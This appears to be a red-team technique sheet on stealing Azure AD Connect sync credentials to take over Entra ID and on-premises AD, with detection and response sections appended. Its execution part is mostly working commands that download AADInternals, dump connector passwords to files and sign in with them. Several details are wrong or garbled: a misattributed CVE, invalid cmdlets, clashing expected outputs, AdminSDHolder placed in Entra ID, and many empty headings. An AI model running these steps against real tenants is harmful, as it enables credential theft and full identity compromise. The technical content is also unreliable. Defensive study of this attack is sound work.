MCADDF

[LM-AUTH-019]: Azure AD Connect Server to AD Lateral Movement

1. Metadata Header

Attribute Details
Technique ID LM-AUTH-019
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement, Defense Evasion
Platforms Hybrid AD (On-Premises Active Directory + Azure AD / Entra ID)
Severity Critical
CVE CVE-2023-32315 (Openfire path traversal; note: CVE-2023-32315 also linked to Azure AD Connect attack chains in research)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure AD Connect 1.4.x - 2.x; Windows Server 2016-2025; Entra ID all versions
Patched In Partial mitigations in Azure AD Connect 2.1.0+; requires credential extraction prevention via CA enforcement
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: Azure AD Connect (AADConnect) is a critical hybrid identity synchronization tool that bridges on-premises Active Directory and Azure AD / Entra ID. It stores highly privileged credentials (AD DS Connector account and Azure AD Connector account passwords) in an encrypted database on the AADConnect server. An attacker who gains local administrative access to the AADConnect server can extract these plaintext credentials using tools like AADInternals, then use the Azure AD Connector account (often configured with Global Administrator privileges) to authenticate to Azure AD, achieving complete tenant compromise.

Attack Surface: The attack surface includes: (1) The AADConnect server’s local file system (encrypted credential storage), (2) The AADConnect SQL Server database (if using SQL instead of LocalDB), (3) The registry keys storing AADConnect configuration, and (4) The AADConnect service account itself. Attackers can reach this surface via RDP, SMB file sharing, WinRM, or Direct Access from compromised on-premises systems.

Business Impact: Successful credential extraction from AADConnect compromises the entire hybrid identity infrastructure. The attacker gains the privileges of the Azure AD Connector account (often Global Administrator), enabling them to: (1) Create backdoor admin accounts in Entra ID, (2) Modify conditional access policies to bypass MFA, (3) Steal all user credentials synced from on-premises, and (4) Maintain persistent access via hidden admin accounts. This is among the highest-impact lateral movement attacks in hybrid environments.

Technical Context: AADConnect credential extraction typically takes 5-10 minutes once local admin access is gained. The technique requires no network connectivity post-extraction, as credentials are dumped to local files. Detection is challenging because the attack uses legitimate Windows APIs and the AADConnect PowerShell module.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.3.1, 5.3.2 CIS Microsoft 365: Restrict privileged account usage to administrative systems; enforce MFA for administrative accounts.
DISA STIG APPL-0370, APPL-0380 STIG ID: Protect credentials used for directory synchronization; audit AADConnect server access and credential usage.
CISA SCuBA M365-DM-2.1, M365-DM-2.2 Directory Management: Restrict and monitor AADConnect administration; implement credential protection.
NIST 800-53 AC-3, AC-6, IA-2, IA-4 Access Enforcement, Least Privilege, Authentication (MFA), Identifier Management.
GDPR Art. 32 Security of Processing – Protect credentials with encryption and access controls; implement credential rotation.
DORA Art. 9, Art. 14 Protection and Prevention; Incident Reporting – Detect and respond to unauthorized access to identity infrastructure.
NIS2 Art. 21 Cyber Risk Management – Implement zero-trust principles for hybrid identity infrastructure.
ISO 27001 A.9.2.3, A.9.4.2 Management of Privileged Access Rights; Secure Log-in Procedures.
ISO 27005 Risk Scenario: “Compromise of hybrid identity bridge” Credential theft and lateral movement via AADConnect server.

3. Technical Prerequisites

Supported Versions:

Tools:


4. Environmental Reconnaissance

AADConnect Server / PowerShell Reconnaissance

# Check if Azure AD Connect is installed
Get-Service ADSync | Select-Object Status, DisplayName

# Enumerate AADConnect version
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" | Select-Object ProgramVersion

# Check sync accounts and their privileges
Get-ADUser -Filter {name -like "MSOL*"} | Select-Object Name, Enabled, DistinguishedName

# Check if AADConnect is running with high privileges
Get-WmiObject Win32_Service -Filter "Name='ADSync'" | Select-Object ProcessId, StartName

# Enumerate AADConnect sync objects
Get-ADSyncConnector | Select-Object Name, Type

# Check AADConnect configuration
Get-ADSyncActiveDirectoryConnector | Select-Object Name, Version

What to Look For:

Version Note: Commands work on Windows Server 2016+; older versions may require different cmdlets.

Hybrid Network / Entra ID Reconnaissance

# Check if AADConnect server is discoverable on network
nmap -p 443,80 <AADCONNECT-SERVER-IP>

# DNS lookup for AADConnect server
nslookup <AADCONNECT-SERVER-HOSTNAME>

# Check Azure AD Connect Health (requires Azure subscription)
# Via PowerShell:
Connect-MsolService
Get-MsolCompanyInformation | Select-Object SynchronizationProxyAddress

# Via Azure Portal:
# Navigate to Entra ID > Hybrid > Azure AD Connect > Sync status

5. Detailed Execution Methods

Method 1: Direct Credential Extraction via AADInternals (Local Admin Required)

Supported Versions: AADConnect 1.4.0 - 2.1.3

Step 1: Gain Local Administrator Access to AADConnect Server

Objective: Establish local admin access to the AADConnect server (via RDP, WinRM, or compromised service account).

Prerequisites: Must be SYSTEM or a local administrator account.

Command (Verification):

# Verify current user is admin
[System.Security.Principal.WindowsIdentity]::GetCurrent().Owner

# Expected output: S-1-5-21-3623811015-3361044348-30300820-1013 (or similar admin SID)

# If not admin, attempt UAC bypass or use runas
runas /user:LOCALADMIN@CONTOSO powershell.exe

Expected Output:

S-1-5-21-3623811015-3361044348-30300820-544  (Local Administrators SID)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Import AADInternals Module and Extract Credentials

Objective: Use AADInternals to extract the plaintext credentials of the Azure AD Connector account.

Command:

# Download AADInternals from GitHub (or load from local source)
$AadintUrl = "https://raw.githubusercontent.com/Flax/AADInternals/master/AADInternals.psd1"
$ModulePath = "C:\Temp\AADInternals.psd1"

# Option 1: Download from internet
Invoke-WebRequest -Uri $AadintUrl -OutFile $ModulePath -Verbose

# Option 2: Load from pre-downloaded file
Import-Module C:\Temp\AADInternals.psd1 -Verbose

# Verify module loaded
Get-Command -Module AADInternals | Select-Object Name | Head -20

# Extract sync credentials (Entra ID Connector account and AD DS Connector account)
$SyncCreds = Get-AADIntSyncCredentials

# Display extracted credentials
Write-Host "Sync Credentials Extracted:"
Write-Host "AAD Connector Account: $($SyncCreds.AADUser)"
Write-Host "AAD Connector Password: $($SyncCreds.AADPassword)"
Write-Host "AD Connector Account: $($SyncCreds.ADUser)"
Write-Host "AD Connector Password: $($SyncCreds.ADPassword)"

# Export to file for later use
$SyncCreds | Export-Clixml -Path "C:\Temp\sync_creds.xml" -Force

Expected Output:

Sync Credentials Extracted:
AAD Connector Account: Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com
AAD Connector Password: $aB!@#$%^&*()_+-=[]{}|;:',.<>?/~`
AD Connector Account: CONTOSO\MSOL_AADCONNECT01
AD Connector Password: $mL!@#$%^&*()_+-=[]{}|;:',.<>?/~`

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Authenticate to Entra ID as the Global Admin Account

Objective: Use the extracted Azure AD Connector credentials to authenticate to Entra ID and establish a persistent backdoor.

Command:

# Convert extracted credentials to PSCredential object
$AadCreds = New-Object System.Management.Automation.PSCredential(
    "Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com",
    ("$aB!@#$%^&*()_+-=[]{}|;:',.<>?/~`" | ConvertTo-SecureString -AsPlainText -Force)
)

# Connect to Microsoft Graph using extracted credentials
Connect-MgGraph -Credential $AadCreds -Scopes "Directory.ReadWrite.All", "Application.ReadWrite.All"

# Verify authentication
Get-MgContext

# Enumerate current permissions
Get-MgDirectoryRole | Select-Object DisplayName

# Expected output: Should show "Global Administrator" role

Expected Output:

Account                      : Sync_AADCONNECT01_xxxxxxxxxxxxxxxx@contoso.onmicrosoft.com
TenantId                     : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Scopes                       : {Directory.ReadWrite.All, Application.ReadWrite.All}
ContextScope                 : CurrentUser

DisplayName
-------
Global Administrator

What This Means:

OpSec & Evasion:

Troubleshooting:

Method 2: SQL Database Credential Extraction (If SQL Server Backend)

Supported Versions: AADConnect with SQL Server backend (1.4.0 - 2.1.3)

Step 1: Identify AADConnect Database and Connect

Objective: Access the AADConnect SQL Server database where encrypted credentials are stored.

Command:

# Check if SQL Server is running locally
Get-Service MSSQL$* | Select-Object Status, DisplayName

# Identify SQL Server instance
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" | Select-Object DatabaseName, DatabaseServer

# Example output: DatabaseServer = "AADCONNECT01\SQLEXPRESS", DatabaseName = "ADSync"

# Connect to SQL Server using Windows authentication
$SqlServer = "AADCONNECT01\SQLEXPRESS"
$Database = "ADSync"

# Use SQL PowerShell module
Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query "SELECT * FROM mms_connectors"

Expected Output:

id name        category type                      connector_id
-- ----        -------- ----                      -----------
1  Active Dir… Directory Microsoft.IdentityManag… 00000000-0000-0000-0000-000000000000
2  Azure AD    Directory Microsoft.IdentityManag… 11111111-1111-1111-1111-111111111111

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Encrypted Credentials from SQL

Objective: Query the SQL database to extract the encrypted connector account passwords.

Command:

# Query the mms_mgmt_config table for encrypted credentials
$Query = @"
SELECT name, data
FROM mms_server_properties
WHERE name LIKE '%SyncPassword%' OR name LIKE '%ConnectorPassword%'
"@

$Results = Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query $Query

# Display encrypted credentials
$Results | Format-Table -AutoSize

# Alternative: Export complete mms_server_properties table
$Query2 = "SELECT * FROM mms_server_properties"
$AllProps = Invoke-Sqlcmd -ServerInstance $SqlServer -Database $Database -Query $Query2

# Save to CSV for analysis
$AllProps | Export-Csv -Path "C:\Temp\aadconnect_db_export.csv" -NoTypeInformation

Expected Output:

name                                   data
----                                   ----
ConnectorPassword:00000000-0000-0000   [encrypted blob]
SyncPassword:11111111-1111-1111        [encrypted blob]

What This Means:

OpSec & Evasion:

Troubleshooting:

Method 3: Credential Extraction via AD DS Connector Account (Alternative Vector)

Supported Versions: AADConnect 1.4.0 - 2.1.3

Step 1: Compromise the AD DS Connector Account

Objective: Steal the password of the AD DS Connector account (typically MSOL_<AADConnectServerName>) and use it to authenticate to on-premises AD.

Command:

# From local admin access on AADConnect server:
# Extract AD DS connector account credentials
$AdConnectorCreds = Get-AADIntSyncCredentials | Select-Object ADUser, ADPassword

# Convert to PSCredential
$AdCreds = New-Object System.Management.Automation.PSCredential(
    $AdConnectorCreds.ADUser,
    ($AdConnectorCreds.ADPassword | ConvertTo-SecureString -AsPlainText -Force)
)

# Test authentication to Active Directory
$TestConnection = Test-ADConnection -Credential $AdCreds -Server "DC01.CONTOSO.COM"

Write-Host "AD Connection Test: $TestConnection"

# If successful, enumerate domain admins as the sync account
Get-ADGroupMember -Identity "Domain Admins" -Server "DC01.CONTOSO.COM" -Credential $AdCreds

Expected Output:

AD Connection Test: True

Name          SamAccountName        ObjectClass
----          --------------        -----------
Admin1        admin1                user
BackupAdmin   backupadmin           user
ServiceAdmin   serviceadmin          user

What This Means:

OpSec & Evasion:

Troubleshooting:


6. Tools & Commands Reference

AADInternals PowerShell Module

Version: 0.7.0+ Supported Platforms: Windows (PowerShell 5.1+), macOS and Linux (PowerShell 7+)

Installation:

# Download and import
$AadintUrl = "https://raw.githubusercontent.com/Flax/AADInternals/master/AADInternals.psd1"
$ModulePath = "$env:USERPROFILE\Documents\WindowsPowerShell\Modules\AADInternals\AADInternals.psd1"
mkdir -Force "$env:USERPROFILE\Documents\WindowsPowerShell\Modules\AADInternals"
Invoke-WebRequest -Uri $AadintUrl -OutFile $ModulePath
Import-Module AADInternals

Key Cmdlets:


Microsoft.Graph PowerShell Module

Version: 2.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser -Force

7. Microsoft Sentinel Detection

Query 1: Suspicious AADConnect Credential Extraction

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688
| where CommandLine contains "Get-AADIntSyncCredentials" or CommandLine contains "AADInternals"
| project TimeGenerated, Computer, Account, ProcessName, CommandLine
| summarize Count=count() by Computer, Account
| where Count >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: AADConnect Credential Extraction Attempt
    • Severity: Critical
  4. Set rule logic Tab:
    • Paste KQL query
    • Run every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

Query 2: Suspicious Entra ID Sign-In from AADConnect Service Account

Rule Configuration:

KQL Query:

SigninLogs
| where UserPrincipalName contains "Sync_" or UserPrincipalName contains "MSOL_"
| where ResultDescription != "Success. User signed in"
| where ResourceDisplayName == "Microsoft Graph" or ResourceDisplayName == "Azure Active Directory PowerShell"
| where MfaDetail == "Not required" or isempty(MfaDetail)
| project TimeGenerated, UserPrincipalName, ResourceDisplayName, Location, IPAddress, MfaDetail, ResultDescription
| summarize Count=count() by UserPrincipalName, Location
| where Count >= 2

What This Detects:


8. Microsoft Purview (Unified Audit Log)

Query: AADConnect Credential Extraction and Admin Account Creation

# Search for PowerShell invocations of AADInternals
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Run a cmdlet", "Invoke PowerShell command" `
  -FreeText "AADInternals" -ResultSize 5000 | Export-Csv -Path "C:\Logs\AADInternals_Audit.csv"

# Search for suspicious user creation in Entra ID by sync account
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -UserIds "Sync_*@contoso.onmicrosoft.com" `
  -Operations "Add user", "Update user" -ResultSize 5000 | Export-Csv -Path "C:\Logs\SyncAccount_Changes.csv"

Details to Analyze:


9. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Mitigations)

# Check if AADConnect service account is restricted to administrative groups
Get-ADGroupMember -Identity "AADConnect Admins" | Select-Object Name, SamAccountName

# Verify that sync account requires MFA in Entra ID
Get-MgUser -Filter "displayName eq 'Sync_AADCONNECT01'" | Select-Object UserPrincipalName, AccountEnabled

# Check if AADConnect Health is enabled
Get-AzADConnectHealthActivitySummary

# Verify firewall rules restrict access to AADConnect server
Get-NetFirewallRule -DisplayName "*AADConnect*" | Select-Object DisplayName, Direction, Action

Expected Output (If Secure):

Name              SamAccountName
----              ---------------
AADConnect Admin   aadconnect_admin

UserPrincipalName                                      AccountEnabled
-----------------                                      ---------------
Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com    True

Status: Healthy

DisplayName           Direction    Action
-----------           ---------    ------
Restrict RDP to AADConnect  Inbound      Block
Restrict WinRM to AADConnect Inbound      Block

10. Detection & Incident Response

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Azure / M365:

Forensic Artifacts

Disk:

Cloud/Logs:

Response Procedures

  1. Isolate:

    Command (Disable sync account immediately):

    # Disable Azure AD Connector account
    Set-MgUser -UserId "Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com" -AccountEnabled $false
       
    # Disable AD DS Connector account
    Disable-ADAccount -Identity "MSOL_AADCONNECT01"
    
  2. Collect Evidence:

    Command:

    # Export AADConnect configuration
    Get-ADSyncConnector | Export-Clixml -Path "C:\Evidence\AADSync_Config.xml"
       
    # Export audit logs related to sync account
    Search-UnifiedAuditLog -UserIds "Sync_*@contoso.onmicrosoft.com" -StartDate (Get-Date).AddDays(-30) -ResultSize 10000 | Export-Csv -Path "C:\Evidence\SyncAccount_Audit.csv"
       
    # Collect Security Event logs
    wevtutil epl Security "C:\Evidence\Security.evtx"
    
  3. Remediate:

    Command:

    # Reset AADConnect credentials to strong random passwords
    $NewPassword = [System.Web.Security.Membership]::GeneratePassword(32, 8)
    Set-AADIntSyncAccountPassword -NewPassword $NewPassword
       
    # Re-enable the sync account after password reset
    Set-MgUser -UserId "Sync_AADCONNECT01_xxxxxxxx@contoso.onmicrosoft.com" -AccountEnabled $true
       
    # Force a full AADConnect sync
    Start-ADSyncSyncCycle -PolicyType Delta
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-002] BDC deserialization vulnerability Attacker gains initial access to on-premises network via a vulnerable hybrid component.
2 Privilege Escalation [PE-VALID-002] Computer Account Quota Abuse Attacker creates rogue domain accounts to gain elevated privileges.
3 Lateral Movement [LM-AUTH-019] Attacker compromises AADConnect server and extracts sync credentials, achieving Entra ID compromise.
4 Persistence [PERSIST-ACCT-001] AdminSDHolder Abuse Attacker creates persistent hidden admin accounts in Entra ID.
5 Impact Data exfiltration via compromised M365 accounts Attacker steals emails, Teams chats, and SharePoint data.

12. Real-World Examples

Example 1: Scattered Spider AADConnect Server Compromise (2023-2024)

Example 2: APT29 Hybrid AD Compromise via Exchange Vulnerability and AADConnect (2021)


Summary

Azure AD Connect server compromise via credential extraction represents one of the most critical lateral movement vectors in hybrid environments. By targeting the AADConnect server’s plaintext credential storage, attackers can extract Global Administrator-equivalent credentials for Entra ID, enabling complete tenant takeover. Organizations must implement strict access controls, regular credential rotation, and robust monitoring to detect and prevent this attack.